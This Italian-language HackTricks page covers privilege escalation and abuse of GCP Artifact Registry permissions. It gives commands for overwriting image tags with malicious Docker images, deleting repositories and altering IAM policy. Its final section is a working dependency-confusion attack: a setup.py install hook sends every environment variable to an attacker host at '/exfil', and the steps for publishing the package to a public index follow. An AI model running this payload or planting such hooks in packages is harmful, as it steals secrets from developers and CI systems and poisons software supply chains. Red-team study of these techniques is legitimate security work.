GCP - Artifact Registry Privesc

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Artifact Registry

Per maggiori informazioni su Artifact Registry, consulta:

GCP - Artifact Registry Enum

artifactregistry.repositories.uploadArtifacts

Con questo permesso un attacker potrebbe caricare nuove versioni degli artifact contenenti codice malevolo, come Docker images:

Caricare un Docker image su Artifact Registry ```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

tag the image to upload it

docker tag : -docker.pkg.dev///:

Upload it

docker push -docker.pkg.dev///:

</details>

> [!CAUTION]
> È stato verificato che è **possibile caricare una nuova immagine docker dannosa** con lo stesso nome e tag di quella già presente, quindi la **vecchia perderà il tag** e la prossima volta che l'immagine con quel tag verrà **scaricata**, sarà scaricata quella dannosa.

<details>

<summary>Carica una libreria Python</summary>

**Inizia creando la libreria da caricare** (se puoi scaricare l'ultima versione dal registry puoi evitare questo passaggio):

1.  **Configura la struttura del progetto**:

- Crea una nuova directory per la tua libreria, ad es. `hello_world_library`.
- All'interno di questa directory, crea un'altra directory con il nome del pacchetto, p.es. `hello_world`.
- All'interno della directory del tuo pacchetto, crea un file `__init__.py`. Questo file può essere vuoto o contenere inizializzazioni per il pacchetto.

<details>
<summary>Create project structure</summary>

```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
  1. Scrivi il codice della libreria:
  • All’interno della directory hello_world, crea un nuovo file Python per il modulo, p.es. greet.py.
  • Scrivi la funzione “Hello, World!”:
Create library module
# hello_world/greet.py
def say_hello():
return "Hello, World!"
  1. Crea un file setup.py:
  • Nella root della directory hello_world_library, crea un file setup.py.
  • Questo file contiene i metadati della libreria e dice a Python come installarla.
Create setup.py file
# setup.py
from setuptools import setup, find_packages

setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)

Ora, carichiamo la libreria:

  1. Costruisci il pacchetto:
  • Dalla root della directory hello_world_library, esegui:
Build Python package
python3 setup.py sdist bdist_wheel
  1. Configura l’autenticazione per twine (usato per caricare il tuo pacchetto):
  • Assicurati di avere twine installato (pip install twine).
  • Usa gcloud per configurare le credenziali:
Carica il pacchetto con twine ```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://-python.pkg.dev/// dist/* ```
  1. Pulisci la build
Pulisci gli artefatti della build ```bash rm -rf dist build hello_world.egg-info ```

Caution

Non è possibile caricare una libreria python con la stessa versione già presente, ma è possibile caricare versioni maggiori (o aggiungere un ulteriore .0 alla fine della versione se funziona -non però in python-), o eliminare l’ultima versione e caricarne una nuova con (necessario artifactregistry.versions.delete):

Delete artifact version
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>

artifactregistry.repositories.downloadArtifacts

Con questo permesso puoi scaricare artifacts e cercare informazioni sensibili e vulnerabilità.

Download a Docker image:

Scarica immagine Docker da Artifact Registry ```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

Dowload image

docker pull -docker.pkg.dev///:

</details>

Scarica una libreria **python**:

<details>
<summary>Scarica una libreria Python da Artifact Registry</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
  • Cosa succede se un registry remoto e uno standard sono mescolati in uno virtuale e un pacchetto esiste in entrambi? Consulta questa pagina:

GCP - Artifact Registry Persistence

artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)

Elimina artefatti dal registry, come docker images:

Elimina Docker image da Artifact Registry ```bash # Delete a docker image gcloud artifacts docker images delete -docker.pkg.dev///: ```

artifactregistry.repositories.delete

Elimina un repository completo (anche se contiene contenuti):

Elimina Artifact Registry repository ``` gcloud artifacts repositories delete --location= ```

artifactregistry.repositories.setIamPolicy

Un attacker con questo permesso potrebbe concedersi permessi per eseguire alcuni degli attacchi ai repository menzionati in precedenza.

Pivoting to other Services through Artifact Registry Read & Write

  • Cloud Functions

Quando viene creata una Cloud Function, una nuova immagine docker viene caricata nell’Artifact Registry del progetto. Ho provato a modificare l’immagine con una nuova e perfino a cancellare l’immagine corrente (e l’immagine cache) ma niente è cambiato: la Cloud Function ha continuato a funzionare. Pertanto, potrebbe essere possibile abusare di una Race Condition come con il bucket per cambiare il container docker che verrà eseguito, ma la semplice modifica dell’immagine memorizzata non è sufficiente per compromettere la Cloud Function.

  • App Engine

Anche se App Engine crea immagini docker dentro Artifact Registry. È stato testato che anche se modifichi l’immagine all’interno di questo servizio e rimuovi l’istanza di App Engine (così ne viene distribuita una nuova), il codice eseguito non cambia.
Potrebbe essere possibile che eseguendo una Race Condition come con i buckets sia possibile sovrascrivere il codice eseguito, ma questo non è stato testato.

artifactregistry.repositories.update

Un attacker non ha bisogno di permessi specifici su Artifact Registry per sfruttare questo problema—serve solo una configurazione di virtual repository vulnerabile. Questo accade quando un virtual repository combina un repository remoto pubblico (es. PyPI, npm) con uno interno, e la sorgente remota ha priorità uguale o superiore. Se entrambi contengono un pacchetto con lo stesso nome, il sistema seleziona la versione più alta. L’attacker deve solo conoscere il nome del pacchetto interno e poter pubblicare pacchetti sul corrispondente registry pubblico.

Con il permesso artifactregistry.repositories.update, un attacker potrebbe modificare le impostazioni upstream di un virtual repository per creare intenzionalmente questa configurazione vulnerabile e usare Dependency Confusion come metodo di persistenza inserendo pacchetti malevoli che gli sviluppatori o i sistemi CI/CD potrebbero installare automaticamente.

L’attacker crea una versione malevola del pacchetto interno nel repository pubblico con un numero di versione più alto. Per i pacchetti Python, questo significa preparare una struttura del pacchetto che imiti quella legittima.

mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"

Viene quindi creato un file setup.py contenente codice malevolo che verrà eseguito durante l’installazione. Questo file deve specificare un numero di versione superiore a quello presente nel repository privato.

cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse

def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)

class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()

setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF

Costruisci il package ed elimina la wheel per garantire che il codice venga eseguito durante l’installazione.

python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl

Carica il pacchetto malevolo nel repository pubblico (ad esempio, test.pypi.org per Python).

pip install twine
twine upload --repository testpypi dist/*

Quando un sistema o servizio installa il pacchetto utilizzando il repository virtuale, scaricherà la versione malevola dal repository pubblico anziché da quella interna legittima, perché la versione malevola ha un numero di versione più alto e il repository remoto ha priorità uguale o superiore.

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks